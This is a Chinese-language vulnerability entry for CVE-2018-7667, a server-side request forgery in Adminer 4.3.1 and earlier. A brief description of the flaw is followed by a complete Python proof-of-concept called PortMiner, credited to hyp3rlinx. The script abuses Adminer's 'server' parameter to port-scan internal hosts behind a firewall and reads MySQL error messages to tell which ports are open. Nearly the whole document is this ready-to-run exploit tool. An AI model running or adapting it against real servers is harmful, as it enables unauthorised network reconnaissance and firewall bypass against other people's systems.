(CVE-2018-7667)Adminer 服务器端请求伪造漏洞

一、漏洞简介

Adminer 4.3.1及之前版本存在服务器端请求伪造漏洞。攻击者可借助'server'参数利用该漏洞绕过防火墙,确定内部主机,扫描其他服务器的端口。

二、漏洞影响

Adminer\<=4.3.1

三、复现过程

poc

import socket,re,ssl,warnings,subprocess,time
from platform import system as system_name 
from os import system as system_call

#Adminer Server Side Request Forgery
#PortMiner Scanner Tool
#by John Page (hyp3rlinx)
#ISR: ApparitionSec
#hyp3rlinx.altervista.org 
#=========================
#D1rty0Tis says hi.

#timeout
MAX_TIME=32
#ports to log
port_lst=[]  
#Web server response often times out but usually means ports open.
false_pos_ports=['80','443'] 

BANNER='''
           ____            _   __  __ _                  
          |  _  \         | | |  \/  (_)                 
          | |__) |__  _ __| |_| \  / |_ _ __   ___ _ __  
          |  ___/ _ \| '__| __| |\/| | | '_ \ / _ \ '__| 
          | |  | (_) | |  | |_| |  | | | | | |  __/ |    
          |_|   \___/|_|   \__|_|  |_|_|_| |_|\___|_|                                                                                                             
       '''                               


def info():
    print "\nPortMiner depends on Error messages to determine open/closed ports."
    print "Read operations reported 'timed out' may be open/filtered.\n"


def greet():
    print 'Adminer Unauthenticated SSRF Port Scanner Tool'
    print 'Targets Adminer used for MySQL administration\n'
    print 'by hyp3rlinx - apparition security'
    print '-----------------------------------------------------\n'
    print 'Scan small ranges or single ports or expect to wait.\n'
    print 'Do not scan networks without authorized permission.'
    print 'Author not responsible for abuse/misuse.\n'


def chk_ports(p): 
    p=p.replace('-',',')
    port_arg=p.split(',')
    try:
        if len(port_arg)>1:
            if int(port_arg[1]) < int(port_arg[0]):
                print 'Port range not valid.'
                raw_input()
                return
            if int(port_arg[1])>65535:
                print 'Exceeded max Port range 65535.'
                raw_input()
                return
    except Exception as e:
        print str(e)
        return None
    return list(range(int(port_arg[0]),int(port_arg[1])+1))



def log(IP):
    try:
        file=open('PortMiner.txt', 'w')
        file.write(IP+'\n')
        for p in port_lst:
            file.write(p+'\n')
        file.close()
    except Exception as e:
        print str(e)
    print "\nSee PortMiner.txt"


def use_ssl(ADMINER,ADMINER_PORT):
    try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ADMINER,int(ADMINER_PORT)))
        s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
        s.close()
    except Exception as e:
        print ""
        return False
    return True


def version(ip,port,uri,use_ssl):
    res=""
    try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip,int(port)))
        if use_ssl:
            s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) 
        s.send('GET '+'/'+uri+'/?server='+':'+'&username=\r\n\r\n')

    except Exception as e:
        print 'Host up but cant connect.' #str(e)
        print 'Re-check Host/Port/URI.'
        s.close()
        return 504

    while True:
        RES=s.recv(512)
        if RES.find('Forbidden')!=-1:
            print 'Forbidden 403'
            s.close()
            return None
        if RES.find('401 Authorization Required')!=-1:
            print '401 Authorization Required'
            s.close()
            return None
        ver = re.findall(r'<span>(.*)</span>',RES,re.DOTALL|re.MULTILINE)
        if not RES:
            s.close()
            return None
        if ver:
            print 'Your Adminer '+ ver[0] + ' works for us now.'
            s.close()
            return ver

    s.close()
    return None



def scan(ADMINER,ADMINER_PORT,ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL):
    global MAX_TIME,port_range
    RES=''

    print 'scanning ports: %s ' % str(port_range[0])+'to ' + str(port_range[-1])+' ...'

    for aPort in port_range: 
         aPort=str(aPort)

         try:
             s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             s.settimeout(MAX_TIME)
             s.connect((ADMINER,ADMINER_PORT))

             if USE_SSL:
                s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) 

             s.send('GET /'+ADMINER_URI+'/?server='+TARGET+':'+aPort+'&username= HTTP/1.1\r\nHost: '+TARGET+'\r\n\r\n')

         except Exception as e:
              print str(e)
              s.close()
              return

         while True:
              try:
                 RES=s.recv(512)
                 ###print RES
                 ###Should see HTTP/1.1 403 not 200
                 if RES.find('HTTP/1.1 200 OK')!=-1:
                     print 'port '+aPort +  ' open'
                     port_lst.append(aPort+' open')
                     s.close()
                     break

                 if RES.find('400 Bad Request')!=-1:
                     print '400 Bad Request, check params'
                     s.close()
                     break
                     raw_input()                  

                 lst=re.findall(r"([^\n<div>].*connect to MySQL server on.*[^</div>\n])|(Lost connection to MySQL server at.*)|(MySQL server has gone away.*)"+
                             "|(No connection could be made because the target machine actively refused it.*)|(A connection attempt failed.*)|(HTTP/1.1 200 OK.*)", RES)     

                 if lst:
                      status=str(lst)
                      if status.find('connect to MySQL')!=-1:
                          if PRINT_CLOSED:
                              print 'port '+ aPort +  ' closed'
                          s.close()
                          break
                      elif status.find('machine actively refused it.')!=-1:
                          if PRINT_CLOSED:
                              print 'port '+ aPort +  ' closed'
                          s.close()
                          break
                      elif status.find('A connection attempt failed')!=-1:
                          if PRINT_CLOSED:
                               print 'port '+ aPort +  ' closed'
                          s.close()
                          break
                      elif status.find('reading initial communication packet')!=-1:
                          print 'port '+aPort +  ' open'
                          port_lst.append(aPort+' open')
                          s.close()
                          break
                      elif status.find('MySQL server has gone away')!=-1:
                          print 'port '+aPort +  ' open'
                          port_lst.append(aPort+' open')
                          s.close()
                          break
                      elif status.find('Bad file descriptor')!=-1:
                          print 'port '+aPort +  ' open'
                          port_lst.append(aPort+' open')
                          s.close()
                          break
                      elif status.find('Got packets out of order')!=-1:
                          print 'port '+aPort +  ' open'
                          s.close()
                          break

              except Exception  as e:
                  msg = str(e)
                  ###print msg
                  if msg.find('timed out')!=-1 and aPort in false_pos_ports:
                      print 'port '+aPort +  ' open'
                      port_lst.append(aPort+' open')
                      s.close()
                      break
                  elif msg.find('timed out')!=-1: 
                      print 'port '+aPort + ' timed out'
                      port_lst.append(aPort+' read operation timed out')
                      s.close()
                      break
                  else:
                      s.close()
                      break

    if port_lst:
        log(TARGET)
    else:
        print "Scan completed, no ports mined."
    return 0



def arp(host):
    args = "-a" if system_name().lower()=="windows" else "-e"
    return subprocess.call("arp " + args + " " + host, shell=True) == 0


def ping_host(host):
    args = "-n 1" if system_name().lower()=="windows" else "-c 1"
    res=subprocess.call("ping " + args + " " + host, shell=True) == 0
    if not res:
        print str(host) + ' down? trying ARP'
        if not arp(host):
            print str(host) + ' unreachable.'
            return
    return res



def main():
    global port_range
    print BANNER
    greet()
    ADMINER_VERSION=False
    PRINT_CLOSED=False
    USE_SSL=None

    ADMINER=raw_input('[+] Adminer Host/IP> ')
    if ADMINER=='':
        print 'Enter valid Host/IP'
        ADMINER=raw_input('[+] Adminer Host/IP> ')

    ADMINER_PORT=raw_input('[+] Adminer Port> ')
    if not re.search("^\d{1,5}$",ADMINER_PORT):
        print 'Enter a valid Port.'
        ADMINER_PORT=raw_input('[+] Adminer Port> ')

    ADMINER_URI=raw_input('[+] Adminer URI [the adminer-<version>.php OR adminer/ dir path] > ')
    TARGET=raw_input('[+] Host/IP to Scan> ')

    PORTS_TO_SCAN=raw_input('[+] Port Range e.g. 21-25> ').replace(' ','')
    plst=re.findall(r"(\d{1,5})-(\d{1,5})",PORTS_TO_SCAN)
    if not plst:
        print 'Invalid ports, format is 1-1025'
        return
        raw_input() #console up

    port_range=chk_ports(PORTS_TO_SCAN)
    if not port_range:
        return

    PRINT_CLOSED=raw_input('[+] Print closed ports? 1=Yes any key for No> ')
    if PRINT_CLOSED=='1':
        PRINT_CLOSED=True
    else:
        PRINT_CLOSED=False

    if not ping_host(ADMINER):
        print 'host %s not reachable or blocking ping ' % ADMINER  
        cont=raw_input('Continue with scan? 1=Yes any key for No> ')
        if cont!='1':
            print 'Scan aborted.'
            raw_input() #console up
            return


    USE_SSL=use_ssl(ADMINER,ADMINER_PORT)
    time.sleep(2)
    ADMINER_VERSION = version(ADMINER,ADMINER_PORT,ADMINER_URI,USE_SSL)

    if not ADMINER_VERSION:
        print "Can't retrieve Adminer script. check supplied URI."
        raw_input() #console up
        return
    else:
        if ADMINER_VERSION==504:
            raw_input() #console up
            return
        if scan(ADMINER,int(ADMINER_PORT),ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL)==0:
            more=raw_input('Info: 1=Yes, any key for No> ')
            if more=='1':
                info()
                raw_input() #console up


if __name__=='__main__':
    main()